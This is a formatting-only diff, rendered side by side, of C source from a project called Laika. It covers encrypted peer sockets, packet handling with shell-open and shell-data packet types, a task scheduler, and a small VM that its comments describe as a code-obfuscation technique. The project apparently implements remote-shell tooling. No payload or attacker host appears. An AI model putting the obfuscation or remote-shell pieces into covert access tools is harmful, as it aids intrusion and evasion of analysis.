# include <sys/types.h> # include <arpa/inet.h>
# include <sys/socket.h> # include <netdb.h>
# include <netdb.h> # include <netinet/in.h>
# include <netinet/in.h> # include <poll.h>
# include <arpa/inet.h> # include <sys/socket.h>
# include <poll.h> # include <sys/types.h>
# ifdef __linux__ # ifdef __linux__
# include <sys/epoll.h> # include <sys/epoll.h>
/* max events for epoll() */ /* max events for epoll() */
# define MAX_EPOLL_EVENTS 128 # define MAX_EPOLL_EVENTS 128
# define LAIKA_USE_EPOLL # define LAIKA_USE_EPOLL
# endif # endif
# include <unistd.h> # include <errno.h>
# include <errno.h> # include <unistd.h>
typedef int SOCKET; typedef int SOCKET;
typedef void buffer_t; typedef void buffer_t;
# define PollFD struct pollfd # define PollFD struct pollfd
# define LN_ERRNO errno # define LN_ERRNO errno
# define LN_EWOULD EWOULDBLOCK # define LN_EWOULD EWOULDBLOCK
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL # define LN_MSG_NOSIGNAL MSG_NOSIGNAL
# define INVALID_SOCKET -1 # define INVALID_SOCKET -1
# define SOCKETINVALID(x) (x < 0) # define SOCKETINVALID(x) (x < 0)
# define SOCKETERROR(x) (x == -1) # define SOCKETERROR(x) (x == -1)
#endif #endif
#include <fcntl.h>
#include <stdbool.h>
#include "laika.h" #include "laika.h"
#include "lsodium.h" #include "lsodium.h"
typedef enum { #include <fcntl.h>
#include <stdbool.h>
typedef enum
{
RAWSOCK_OK, RAWSOCK_OK,
RAWSOCK_ERROR, RAWSOCK_ERROR,
RAWSOCK_CLOSED, RAWSOCK_CLOSED,
@ -64,14 +65,15 @@ typedef enum {
typedef bool (*pollEvent)(struct sLaika_socket *sock); typedef bool (*pollEvent)(struct sLaika_socket *sock);
typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData); typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData);
struct sLaika_socket { struct sLaika_socket
{
SOCKET sock; /* raw socket fd */ SOCKET sock; /* raw socket fd */
pollFailEvent onPollFail; pollFailEvent onPollFail;
pollEvent onPollIn; pollEvent onPollIn;
pollEvent onPollOut; pollEvent onPollOut;
void *uData; /* passed to onPollFail */ void *uData; /* passed to onPollFail */
uint8_t *outBuf; /* raw data to be sent() */ uint8_t *outBuf; /* raw data to be sent() */
uint8_t *inBuf; /* raw data we recv()'d */ uint8_t *inBuf; /* raw data we recv()'d */
int outCount; int outCount;
int inCount; int inCount;
int outCap; int outCap;
@ -87,24 +89,31 @@ bool laikaS_isBigEndian(void);
void laikaS_init(void); void laikaS_init(void);
void laikaS_cleanUp(void); void laikaS_cleanUp(void);
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData); void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
pollFailEvent onPollFail, void *uData);
void laikaS_cleanSocket(struct sLaika_socket *sock); void laikaS_cleanSocket(struct sLaika_socket *sock);
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */ void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */ void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr); void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr);
bool laikaS_setNonBlock(struct sLaika_socket *sock); bool laikaS_setNonBlock(struct sLaika_socket *sock);
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */ void laikaS_consumeRead(struct sLaika_socket *sock,
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz); /* writes sz NULL bytes to the outBuf */ size_t sz); /* throws sz bytes away from the inBuf */
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */ void laikaS_zeroWrite(struct sLaika_socket *sock,
size_t sz); /* writes sz NULL bytes to the outBuf */
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */ void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz,
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/ uint8_t *pub); /* encrypts & writes from buf using pub key */
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data); void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
uint8_t laikaS_readByte(struct sLaika_socket *sock); uint8_t laikaS_readByte(struct sLaika_socket *sock);
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */ void laikaS_readInt(struct sLaika_socket *sock, void *buf,
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz); /* writes INT, respecting endianness */ size_t sz); /* reads INT, respecting endianness */
void laikaS_writeInt(struct sLaika_socket *sock, void *buf,
size_t sz); /* writes INT, respecting endianness */
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed); RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed); RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);

View File

@ -1,13 +1,15 @@
#ifndef LAIKA_TASK_H #ifndef LAIKA_TASK_H
#define LAIKA_TASK_H #define LAIKA_TASK_H
#include <time.h>
#include "laika.h" #include "laika.h"
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); #include <time.h>
struct sLaika_task { typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
struct sLaika_task
{
struct sLaika_task *next; struct sLaika_task *next;
taskCallback callback; taskCallback callback;
void *uData; void *uData;
@ -15,14 +17,16 @@ struct sLaika_task {
int delta; int delta;
}; };
struct sLaika_taskService { struct sLaika_taskService
{
struct sLaika_task *headTask; struct sLaika_task *headTask;
}; };
void laikaT_initTaskService(struct sLaika_taskService *service); void laikaT_initTaskService(struct sLaika_taskService *service);
void laikaT_cleanTaskService(struct sLaika_taskService *service); void laikaT_cleanTaskService(struct sLaika_taskService *service);
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData); struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta,
taskCallback callback, void *uData);
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task); void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task);
void laikaT_pollTasks(struct sLaika_taskService *service); void laikaT_pollTasks(struct sLaika_taskService *service);

View File

@ -5,50 +5,63 @@
This is an obfuscation technique where vital code can be executed in a This is an obfuscation technique where vital code can be executed in a
stack-based VM, inlined into the function. The VM instruction-set is fairly stack-based VM, inlined into the function. The VM instruction-set is fairly
simple, see the OP_* enum for avaliable opcodes and their expected arguments. simple, see the OP_* enum for avaliable opcodes and their expected arguments.
The VM is turing-complete, however the instruction-set has been curated to The VM is turing-complete, however the instruction-set has been curated to
fit this specific use case. fit this specific use case.
*/ */
#include <inttypes.h>
#include "laika.h" #include "laika.h"
#include "lerror.h" #include "lerror.h"
#include <inttypes.h>
#define LAIKA_VM_STACKSIZE 64 #define LAIKA_VM_STACKSIZE 64
#define LAIKA_VM_CONSTSIZE 32 #define LAIKA_VM_CONSTSIZE 32
struct sLaikaV_vm_val { struct sLaikaV_vm_val
union { {
union
{
uint8_t i; uint8_t i;
uint8_t *ptr; uint8_t *ptr;
}; };
}; };
struct sLaikaV_vm { struct sLaikaV_vm
{
struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE]; struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE];
struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE]; struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE];
uint8_t code[LAIKA_VM_CODESIZE]; uint8_t code[LAIKA_VM_CODESIZE];
int pc; int pc;
}; };
#define LAIKA_MAKE_VM(_consts, _code) {.constList = _consts, .code = _code, .pc = 0, .stack = {0}} #define LAIKA_MAKE_VM(_consts, _code) \
{ \
.constList = _consts, .code = _code, .pc = 0, .stack = { 0 } \
}
/* constants */ /* constants */
#define LAIKA_MAKE_VM_INT(_i) {.i = _i} #define LAIKA_MAKE_VM_INT(_i) \
#define LAIKA_MAKE_VM_PTR(_ptr) {.ptr = _ptr} { \
.i = _i \
}
#define LAIKA_MAKE_VM_PTR(_ptr) \
{ \
.ptr = _ptr \
}
/* instructions */ /* instructions */
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a #define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b #define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
#define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c #define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c
enum { enum
{
OP_EXIT, OP_EXIT,
OP_LOADCONST, /* stk_indx[uint8_t] = const_indx[uint8_t] */ OP_LOADCONST, /* stk_indx[uint8_t] = const_indx[uint8_t] */
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */ OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */ OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */ OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */ OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */ OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
/* arithmetic */ /* arithmetic */
OP_ADD, /* stk_indx[uint8_t] = stk_indx[uint8_t] + stk_indx[uint8_t] */ OP_ADD, /* stk_indx[uint8_t] = stk_indx[uint8_t] + stk_indx[uint8_t] */
@ -68,83 +81,93 @@ enum {
#endif #endif
}; };
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm) { LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
{
#define READBYTE (vm->code[vm->pc++]) #define READBYTE (vm->code[vm->pc++])
#define BINOP(x) { \ #define BINOP(x) \
uint8_t a = READBYTE; \ { \
uint8_t b = READBYTE; \ uint8_t a = READBYTE; \
uint8_t c = READBYTE; \ uint8_t b = READBYTE; \
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \ uint8_t c = READBYTE; \
break; \ vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
} break; \
}
while (vm->code[vm->pc]) { while (vm->code[vm->pc]) {
switch (vm->code[vm->pc++]) { switch (vm->code[vm->pc++]) {
case OP_LOADCONST: { case OP_LOADCONST: {
uint8_t indx = READBYTE; uint8_t indx = READBYTE;
uint8_t constIndx = READBYTE; uint8_t constIndx = READBYTE;
vm->stack[indx] = vm->constList[constIndx]; vm->stack[indx] = vm->constList[constIndx];
break; break;
} }
case OP_PUSHLIT: { case OP_PUSHLIT: {
uint8_t indx = READBYTE; uint8_t indx = READBYTE;
uint8_t lit = READBYTE; uint8_t lit = READBYTE;
vm->stack[indx].i = lit; vm->stack[indx].i = lit;
break; break;
} }
case OP_READ: { case OP_READ: {
uint8_t indx = READBYTE; uint8_t indx = READBYTE;
uint8_t ptr = READBYTE; uint8_t ptr = READBYTE;
vm->stack[indx].i = *vm->stack[ptr].ptr; vm->stack[indx].i = *vm->stack[ptr].ptr;
break; break;
} }
case OP_WRITE: { case OP_WRITE: {
uint8_t ptr = READBYTE; uint8_t ptr = READBYTE;
uint8_t indx = READBYTE; uint8_t indx = READBYTE;
*vm->stack[ptr].ptr = vm->stack[indx].i; *vm->stack[ptr].ptr = vm->stack[indx].i;
break; break;
} }
case OP_INCPTR: { case OP_INCPTR: {
uint8_t ptr = READBYTE; uint8_t ptr = READBYTE;
vm->stack[ptr].ptr++; vm->stack[ptr].ptr++;
break; break;
} }
case OP_DECPTR: { case OP_DECPTR: {
uint8_t ptr = READBYTE; uint8_t ptr = READBYTE;
vm->stack[ptr].ptr--; vm->stack[ptr].ptr--;
break; break;
} }
case OP_ADD: BINOP(+); case OP_ADD:
case OP_SUB: BINOP(-); BINOP(+);
case OP_MUL: BINOP(*); case OP_SUB:
case OP_DIV: BINOP(/); BINOP(-);
case OP_AND: BINOP(&); case OP_MUL:
case OP_OR: BINOP(|); BINOP(*);
case OP_XOR: BINOP(^); case OP_DIV:
case OP_TESTJMP: { BINOP(/);
uint8_t indx = READBYTE; case OP_AND:
int8_t jmp = READBYTE; BINOP(&);
case OP_OR:
BINOP(|);
case OP_XOR:
BINOP(^);
case OP_TESTJMP: {
uint8_t indx = READBYTE;
int8_t jmp = READBYTE;
/* if stack indx is true, jump by jmp (signed 8-bit int) */ /* if stack indx is true, jump by jmp (signed 8-bit int) */
if (vm->stack[indx].i) if (vm->stack[indx].i)
vm->pc += jmp; vm->pc += jmp;
break; break;
} }
#ifdef DEBUG #ifdef DEBUG
case OP_DEBUG: { case OP_DEBUG: {
int i; int i;
/* print stack info */ /* print stack info */
for (i = 0; i < LAIKA_VM_STACKSIZE; i++) for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i); printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
break; break;
} }
#endif #endif
default: default:
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc], vm->pc); LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc],
vm->pc);
} }
} }

View File

@ -1,7 +1,9 @@
#include "lerror.h"
#include "lmem.h" #include "lmem.h"
void *laikaM_realloc(void *buf, size_t sz) { #include "lerror.h"
void *laikaM_realloc(void *buf, size_t sz)
{
void *newBuf; void *newBuf;
/* are we free'ing the buffer? */ /* are we free'ing the buffer? */

View File

@ -1,20 +1,19 @@
#include "lpacket.h" #include "lpacket.h"
#ifdef DEBUG #ifdef DEBUG
const char* laikaD_getPacketName(LAIKAPKT_ID id) { const char *laikaD_getPacketName(LAIKAPKT_ID id)
const char *PKTNAMES[] = { {
"LAIKAPKT_VARPKT", const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
"LAIKAPKT_HANDSHAKE_REQ", "LAIKAPKT_HANDSHAKE_REQ",
"LAIKAPKT_HANDSHAKE_RES", "LAIKAPKT_HANDSHAKE_RES",
"LAIKAPKT_PINGPONG", "LAIKAPKT_PINGPONG",
"LAIKAPKT_SHELL_OPEN", "LAIKAPKT_SHELL_OPEN",
"LAIKAPKT_SHELL_CLOSE", "LAIKAPKT_SHELL_CLOSE",
"LAIKAPKT_SHELL_DATA", "LAIKAPKT_SHELL_DATA",
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ", "LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES", "LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES", "LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ" "LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"};
};
return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id]; return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id];
} }

View File

@ -1,16 +1,16 @@
#include "lerror.h"
#include "lmem.h"
#include "lpeer.h" #include "lpeer.h"
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData) { #include "lerror.h"
#include "lmem.h"
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
struct sLaika_pollList *pList, pollFailEvent onPollFail,
void *onPollFailUData, void *uData)
{
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer)); struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
laikaS_initSocket(&peer->sock, laikaS_initSocket(&peer->sock, laikaS_handlePeerIn, laikaS_handlePeerOut, onPollFail,
laikaS_handlePeerIn, onPollFailUData);
laikaS_handlePeerOut,
onPollFail,
onPollFailUData
);
peer->packetTbl = pktTbl; peer->packetTbl = pktTbl;
peer->pList = pList; peer->pList = pList;
@ -31,14 +31,16 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct
return peer; return peer;
} }
void laikaS_freePeer(struct sLaika_peer *peer) { void laikaS_freePeer(struct sLaika_peer *peer)
{
laikaS_cleanSocket(&peer->sock); laikaS_cleanSocket(&peer->sock);
laikaM_free(peer); laikaM_free(peer);
} }
/* ===================================[[ Start/End Packets ]]=================================== */ /* ===================================[[ Start/End Packets ]]=================================== */
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
{
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
laikaS_writeByte(sock, id); laikaS_writeByte(sock, id);
@ -47,7 +49,8 @@ void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
laikaP_pushOutQueue(peer->pList, &peer->sock); laikaP_pushOutQueue(peer->pList, &peer->sock);
} }
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
{
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
if (peer->outStart != -1) /* sanity check */ if (peer->outStart != -1) /* sanity check */
@ -56,27 +59,31 @@ void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
laikaS_writeByte(sock, id); laikaS_writeByte(sock, id);
peer->outStart = sock->outCount; peer->outStart = sock->outCount;
if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */ if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the
packet ID */
uint8_t nonce[crypto_secretbox_NONCEBYTES]; uint8_t nonce[crypto_secretbox_NONCEBYTES];
randombytes_buf(nonce, crypto_secretbox_NONCEBYTES); randombytes_buf(nonce, crypto_secretbox_NONCEBYTES);
laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES); laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES);
} }
} }
int laikaS_endOutPacket(struct sLaika_peer *peer) { int laikaS_endOutPacket(struct sLaika_peer *peer)
{
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
uint8_t *body; uint8_t *body;
size_t sz; size_t sz;
if (peer->useSecure) { if (peer->useSecure) {
/* make sure we have enough space */ /* make sure we have enough space */
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap); laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount,
sock->outCap);
/* packet body starts after the id & nonce */ /* packet body starts after the id & nonce */
body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES]; body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES];
/* encrypt packet body in-place */ /* encrypt packet body in-place */
if (crypto_secretbox_easy(body, body, (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES, if (crypto_secretbox_easy(body, body,
&sock->outBuf[peer->outStart], peer->outKey) != 0) { (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
LAIKA_ERROR("Failed to encrypt packet!\n"); LAIKA_ERROR("Failed to encrypt packet!\n");
} }
@ -92,28 +99,33 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
return sz; return sz;
} }
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
{
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
if (peer->outStart != -1) /* sanity check */ if (peer->outStart != -1) /* sanity check */
LAIKA_ERROR("unended OUT packet!\n"); LAIKA_ERROR("unended OUT packet!\n");
laikaS_writeByte(sock, LAIKAPKT_VARPKT); laikaS_writeByte(sock, LAIKAPKT_VARPKT);
laikaS_zeroWrite(sock, sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */ laikaS_zeroWrite(sock,
sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
laikaS_startOutPacket(peer, id); laikaS_startOutPacket(peer, id);
} }
int laikaS_endVarPacket(struct sLaika_peer *peer) { int laikaS_endVarPacket(struct sLaika_peer *peer)
{
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
int patchIndx = peer->outStart - (sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */ int patchIndx = peer->outStart -
(sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */
LAIKAPKT_SIZE sz = (LAIKAPKT_SIZE)laikaS_endOutPacket(peer); LAIKAPKT_SIZE sz = (LAIKAPKT_SIZE)laikaS_endOutPacket(peer);
/* patch packet size */ /* patch packet size */
memcpy((void*)&sock->outBuf[patchIndx], (void*)&sz, sizeof(LAIKAPKT_SIZE)); memcpy((void *)&sock->outBuf[patchIndx], (void *)&sz, sizeof(LAIKAPKT_SIZE));
return sz; return sz;
} }
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) { void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic)
{
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
if (peer->inStart != -1) /* sanity check */ if (peer->inStart != -1) /* sanity check */
@ -126,7 +138,8 @@ void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) {
peer->inStart = sock->inCount; peer->inStart = sock->inCount;
} }
int laikaS_endInPacket(struct sLaika_peer *peer) { int laikaS_endInPacket(struct sLaika_peer *peer)
{
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
uint8_t *body; uint8_t *body;
size_t sz = sock->inCount - peer->inStart; size_t sz = sock->inCount - peer->inStart;
@ -135,7 +148,8 @@ int laikaS_endInPacket(struct sLaika_peer *peer) {
body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES]; body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES];
/* decrypt packet body in-place */ /* decrypt packet body in-place */
if (crypto_secretbox_open_easy(body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES, if (crypto_secretbox_open_easy(
body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
&sock->inBuf[peer->inStart], peer->inKey) != 0) { &sock->inBuf[peer->inStart], peer->inKey) != 0) {
LAIKA_ERROR("Failed to decrypt packet!\n"); LAIKA_ERROR("Failed to decrypt packet!\n");
} }
@ -153,113 +167,119 @@ int laikaS_endInPacket(struct sLaika_peer *peer) {
return sz; return sz;
} }
void laikaS_setSecure(struct sLaika_peer *peer, bool flag) { void laikaS_setSecure(struct sLaika_peer *peer, bool flag)
{
peer->useSecure = flag; peer->useSecure = flag;
} }
/* ==================================[[ Handle Poll Events ]]=================================== */ /* ==================================[[ Handle Poll Events ]]=================================== */
bool laikaS_handlePeerIn(struct sLaika_socket *sock) { bool laikaS_handlePeerIn(struct sLaika_socket *sock)
struct sLaika_peer *peer = (struct sLaika_peer*)sock; {
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
int recvd; int recvd;
switch (peer->pktID) { switch (peer->pktID) {
case LAIKAPKT_MAXNONE: case LAIKAPKT_MAXNONE:
/* try grabbing pktID */ /* try grabbing pktID */
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK) if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK)
return false; return false;
/* read packet ID */ /* read packet ID */
peer->pktID = laikaS_readByte(&peer->sock); peer->pktID = laikaS_readByte(&peer->sock);
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID)); LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is /* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement.
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket LAIKAPKT_VARPKT is also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT
for itself, so skip all of this */ case calls laikaS_startInPacket for itself, so skip all of this */
if (peer->pktID == LAIKAPKT_VARPKT) if (peer->pktID == LAIKAPKT_VARPKT)
goto _HandlePacketVariadic; goto _HandlePacketVariadic;
/* sanity check pktID, pktID's handler & make sure it's not marked as variadic */ /* sanity check pktID, pktID's handler & make sure it's not marked as variadic */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || peer->packetTbl[peer->pktID].variadic) if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL ||
LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID); peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID);
peer->pktSize = peer->packetTbl[peer->pktID].size; peer->pktSize = peer->packetTbl[peer->pktID].size;
/* if peer->useSecure is true, body is encrypted */ /* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, false); laikaS_startInPacket(peer, false);
goto _HandlePacketBody; goto _HandlePacketBody;
case LAIKAPKT_VARPKT: case LAIKAPKT_VARPKT:
_HandlePacketVariadic: _HandlePacketVariadic:
/* try grabbing pktID & size */ /* try grabbing pktID & size */
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK) if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) !=
return false; RAWSOCK_OK)
return false;
/* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was probably sent maliciously anyways */ /* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE)) * probably sent maliciously anyways */
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n"); if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
/* read packet size */ /* read packet size */
laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE)); laikaS_readInt(&peer->sock, (void *)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
if (peer->pktSize > LAIKA_MAX_PKTSIZE) if (peer->pktSize > LAIKA_MAX_PKTSIZE)
LAIKA_ERROR("variable packet too large!\n"); LAIKA_ERROR("variable packet too large!\n");
/* read pktID */ /* read pktID */
peer->pktID = laikaS_readByte(&peer->sock); peer->pktID = laikaS_readByte(&peer->sock);
/* sanity check pktID, check valid handler & make sure it's marked as variadic */ /* sanity check pktID, check valid handler & make sure it's marked as variadic */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || !peer->packetTbl[peer->pktID].variadic) if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL ||
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID); !peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID);
/* if peer->useSecure is true, body is encrypted */ /* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, true); laikaS_startInPacket(peer, true);
goto _HandlePacketBody; goto _HandlePacketBody;
default: default:
_HandlePacketBody: _HandlePacketBody:
/* try grabbing the rest of the packet */ /* try grabbing the rest of the packet */
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK) if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
return false; return false;
/* have we received the full packet? */ /* have we received the full packet? */
if (peer->pktSize == peer->sock.inCount) { if (peer->pktSize == peer->sock.inCount) {
